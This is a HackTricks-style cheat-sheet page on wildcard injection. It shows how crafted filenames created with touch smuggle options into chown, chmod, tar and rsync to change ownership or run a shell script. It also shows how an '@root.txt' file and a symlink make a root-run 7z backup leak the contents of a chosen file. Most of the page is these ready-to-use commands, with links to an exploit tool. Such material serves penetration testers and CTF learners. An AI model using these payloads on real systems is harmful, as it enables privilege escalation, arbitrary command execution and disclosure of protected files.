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https://github.com/carlospolop/hacktricks
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64 lines
2.3 KiB
Markdown
64 lines
2.3 KiB
Markdown
# Wildcards Spare tricks
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### chown, chmod
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You can **indicate which file owner and permissions you want to copy for the rest of the files**
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```bash
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touch "--reference=/my/own/path/filename"
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```
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You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
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__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
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### Tar
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**Execute arbitrary commands:**
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```bash
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touch "--checkpoint=1"
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touch "--checkpoint-action=exec=sh shell.sh"
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```
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You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
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__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
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### Rsync
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**Execute arbitrary commands:**
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```bash
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Interesting rsync option from manual:
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-e, --rsh=COMMAND specify the remote shell to use
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--rsync-path=PROGRAM specify the rsync to run on remote machine
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```
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```bash
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touch "-e sh shell.sh"
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```
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You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _attack)_\
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__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
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### 7z
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In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
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```bash
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7za a /backup/$filename.zip -t7z -snl -p$pass -- *
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```
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And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink **to the file you want to read:
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```bash
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cd /path/to/7z/acting/folder
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touch @root.txt
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ln -s /file/you/want/to/read root.txt
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```
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Then, when **7z **is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error **showing the content.
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_More info in Write-ups of the box CTF from HackTheBox. _
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__
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